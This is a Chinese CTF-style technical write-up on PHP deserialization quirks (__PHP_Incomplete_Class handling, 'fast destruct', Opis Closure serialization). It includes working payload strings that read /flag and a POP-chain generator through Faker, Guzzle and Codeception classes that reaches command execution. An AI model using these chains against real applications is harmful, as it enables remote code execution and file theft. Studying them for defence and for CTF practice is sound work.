【技術分享】PHP序列化冷知識
一、serialize(unserialize($x))!=$x
正常來說一個合法的反序列化字符串,在二次序列化也即反序列化再序列化之后所得到的結果是一致的。
比如
$raw = 'O:1:"A":1:{s:1:"a";s:1:"b";}';
echo serialize(unserialize($raw));
//O:1:"A":1:{s:1:"a";s:1:"b";}
可以看到即使腳本中沒有A這個類,在反序列化序列化過后得到的值依然為原來的值。那么php是怎么實現的呢。
__PHP_Incomplete_Class 不完整的類
在PHP中,當我們在反序列化一個不存在的類時,會發生什么呢
$raw = 'O:1:"A":1:{s:1:"a";s:1:"b";}';
var_dump(unserialize($raw));
/*Output:
object(__PHP_Incomplete_Class)#1 (2) {
["__PHP_Incomplete_Class_Name"]=>
string(1) "A"
["a"]=>
string(1) "b"
}*/
可以發現PHP在遇到不存在的類時,會把不存在的類轉換成__PHP_Incomplete_Class這種特殊的類,同時將原始的類名A存放在__PHP_Incomplete_Class_Name這個屬性中,其余屬性存放方式不變。而我們在序列化這個對象的時候,serialize遇到__PHP_Incomplete_Class這個特殊類會倒推回來,序列化成__PHP_Incomplete_Class_Name值為類名的類,我們看到的序列化結果不是O:22:"__PHP_Incomplete_Class_Name":2:{xxx}而是O:1:"A":1:{s:1:"a";s:1:"b";},那么如果我們自己如下構造序列化字符串

執行結果如下圖

可以看到在二次序列化后,由于O:22:"__PHP_Incomplete_Class":1:{s:1:"a";O:7:"classes":0:{}}中__PHP_Incomplete_Class_Name為空,找不到應該綁定的類,其屬性就被丟棄了,導致了serialize(unserialize($x)) != $x的出現。
以強網杯2021 WhereIsUWebShell 為例
事實上,在2021強網杯中就有利用到這一點。
下面是簡化的代碼
// index.php
ini_set('display_errors', 'on');
include "function.php";
$res = unserialize($_REQUEST['ctfer']);
if(preg_match('/myclass/i',serialize($res))){
throw new Exception("Error: Class 'myclass' not found ");
}
highlight_file(__FILE__);
echo "
";
highlight_file("myclass.php");
echo "
";
highlight_file("function.php");
用到的其他文件如下
// myclass.php
class Hello{
public function __destruct()
{
if($this->qwb) echo file_get_contents($this->qwb);
}
}
?>
// function.php
function __autoload($classname){
require_once "./$classname.php";
}
?>
在這個題目中,我們需要加載myclass.php中的hello類,但是要引入hello類,根據__autoload我們需要一個classname為myclass的類,這個類并不存在,如果我們直接去反序列化,只會在反序列化myclass類的時候報錯無法進入下一步,或者在反序列化Hello的時候找不到這個類而報錯。
根據上面的分析,我們可以使用PHP對__PHP_Incomplete_Class的特殊處理進行繞過
a:2:{i:0;O:22:"__PHP_Incomplete_Class":1:{s:3:"qwb";O:7:"myclass":0:{}}i:1;O:5:"Hello":1:{s:3:"qwb";s:5:"/flag";}}
修改一下index.php和myclass.php以便更好地看清這一過程
// index.php
ini_set('display_errors', 'on');
include "function.php";
$res = unserialize($_REQUEST['ctfer']);
var_dump($res);
echo '
';
var_dump(serialize($res));
if(preg_match('/myclass/i',serialize($res))){
echo "???";
throw new Exception("Error: Class 'myclass' not found ");
}
highlight_file(__FILE__);
echo "
";
highlight_file("myclass.php");
echo "
";
highlight_file("function.php");
echo "End";
// myclass.php
//class myclass{}
class Hello{
public function __destruct()
{
echo "I'm destructed.
";
var_export($this->qwb);
if($this->qwb) echo file_get_contents($this->qwb);
}
}
?>

可以看到在反序列化之后,myclass作為了__PHP_Incomplete_Class中屬性,會觸發autoload引入myclass.php,而對他進行二次序列化時,因為__PHP_Incomplete_Class沒有__PHP_Incomplete_Class_Name該對象會消失,從而繞過preg_match的檢測,并在最后觸發Hello類的反序列化。
二、Fast Destruct--奇怪的反序列化行為出現了
強網杯2021 WhereIsUWebShell的另一種解法
還是上面那個題目,事實上,我們通過fast destruct的技術,完全可以不考慮后面設置的waf
Fast destruct是什么呢,在著名的php反序列工具phpggc中提及了這一概念。具體來說,在PHP中有:
1、如果單獨執行unserialize函數進行常規的反序列化,那么被反序列化后的整個對象的生命周期就僅限于這個函數執行的生命周期,當這個函數執行完畢,這個類就沒了,在有析構函數的情況下就會執行它。
2、如果反序列化函數序列化出來的對象被賦給了程序中的變量,那么被反序列化的對象其生命周期就會變長,由于它一直都存在于這個變量當中,當這個對象被銷毀,才會執行其析構函數。
在這個題目中,反序列化得到的對象被賦給了$res導致__destruct在程序結尾才被執行,從而無法繞過perg_match代碼塊中的報錯,如果能夠進行fast destruct,那么就可以提前觸發_destruct,繞過反序列化報錯。
一種方式就是修改序列化字符串的結構,使得完成部分反序列化的unserialize強制退出,提前觸發__destruct,其中的幾種方式如下
#修改序列化數字元素個數
a:2:{i:0;O:7:"myclass":1:{s:1:"a";O:5:"Hello":1:{s:3:"qwb";s:5:"/flag";}}}
#去掉序列化尾部 }
a:1:{i:0;O:7:"myclass":1:{s:1:"a";O:5:"Hello":1:{s:3:"qwb";s:5:"/flag";}}
本質上,fast destruct 是因為unserialize過程中掃描器發現序列化字符串格式有誤導致的提前異常退出,為了銷毀之前建立的對象內存空間,會立刻調用對象的__destruct(),提前觸發反序列化鏈條。
fast destruct 提前觸發魔術方法
在進一步探索中,fast destruct還引起了一些其他的問題,比如下面這個有趣的示例

可以看到,在正常情況下,Evil類是被設計禁止反序列化的,在序列化的時候會清空func屬性,即使被call,也不會觸發system,然而由于fast destruct,提前觸發的A::__destruct,直接訪問了Evil::__call,導致了命令執行。具體區別可以看下面兩張圖




值得一提的是,__get之類的魔術方式也存在這樣的執行順序問題。
三、Opi/Closure(閉包)函數也能反序列化?
Closure (閉包)函數也是類
在php中,除了通過function(){}定義函數并調用還可以通過如下方式
$func = function($b){
$a = 1;
return $a+$b;
};
$func(1);
//Output:2
的方式調用函數,這是因為PHP在5.3版本引入了Closure類用于代表匿名函數
實際上$func就是一個Closure類型的對象,根據PHP官方文檔,Closure類定義如下。
class Closure {
/* 方法 */
private __construct()
public static bind(Closure $closure, ?object $newThis, object|string|null $newScope = "static"): ?Closure
public bindTo(object $newthis, mixed $newscope = 'static'): Closure
public call(object $newThis, mixed ...$args): mixed
public static fromCallable(callable $callback): Closure
}
下面是一個簡單的使用示例
class Test{
public $a;
public function __construct($a=0){
$this->a = $a;
}
public function plus($b){
return $this->a+$b;
}
}
$funcInObject = function($b){
echo "Test::PlusOutput:".$this->plus($b)."";
return $this->a;
};
try{
var_dump(serialize($func));
}catch (Exception $e){
echo $e;
}
$myclosure = Closure::bind($funcInObject,new Test(123));
var_dump($myclosure(1));
//Output:int(124)
可以看到通過Closure::bind我們還可以給閉包傳入上下文對象。
一般來說Closure是不允許序列化和反序列化的,直接序列化會Exception: Serialization of 'Closure' is not allowed
然而Opi Closure庫實現了這一功能,通過Opi Clousre,我們可以方便的對閉包進行序列化反序列化,只需要使用Opis\Closure\serialize()和Opis\Closure\unserialize()即可。
以祥云杯2021 ezyii為例
在2021祥云杯比賽中有一個關于yii2的反序列化鏈,根據所給的文件,很容易發現一條鏈子
Runprocess->DefaultGenerator->AppendStream->CachingStream->PumpStream
也即
namespace Faker{
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{
use Faker\DefaultGenerator;
final class AppendStream{
private $streams = [];
private $seekable = true;
public function __construct(){
$this->streams[]=new CachingStream();
}
}
final class CachingStream{
private $remoteStream;
public function __construct(){
$this->remoteStream=new DefaultGenerator(false);
$this->stream=new PumpStream();
}
}
final class PumpStream{
private $source;
private $size=-10;
private $buffer;
public function __construct(){
$this->buffer=new DefaultGenerator('whatever');
$this->source="????";
}
}
}
namespace Codeception\Extension{
use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\AppendStream;
class RunProcess{
protected $output;
private $processes = [];
public function __construct(){
$this->processes[]=new DefaultGenerator(new AppendStream());
$this->output=new DefaultGenerator('whatever');
}
}
}
namespace {
use Codeception\Extension\RunProcess;
echo base64_encode(serialize(new RunProcess()));
}
最后觸發的是PumpStream::pump里的call_user_func($this->source, $length);
class PumpStream
{
...
private function pump($length)
{
var_dump("PumpStream::pump",$this,$length);
if ($this->source) {
do {
$data = call_user_func($this->source, $length);
if ($data === false || $data === null) {
$this->source = null;
return;
}
$this->buffer->write($data);
$length -= strlen($data);
} while ($length > 0);
}
}
}
看起來很美好,然而有個小問題,我們沒法控制$length,只能控制$this->source,這就導致了我們能使用的函數受限,如何解決這一問題呢,這里就用到了我們之前提到的Closure,在題目中引入了這一類庫,那么我們可以讓$this->source為一個函數閉包,一個簡化的示意代碼如下
include("closure/autoload.php");
class Test{
public $source;
}
$func = function(){
$cmd = 'id';
system($cmd);
};
$raw = \Opis\Closure\serialize($func);
$t = new Test;
$t->source = unserialize($raw);
$exp = serialize($t);
$o = unserialize($exp);
call_user_func($o->source,9);
//Output:uid=1000(eki) gid=1000(eki) groups=1000(eki),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
可以看到通過這個函數閉包,我們繞過了參數限制,實現了完整的RCE。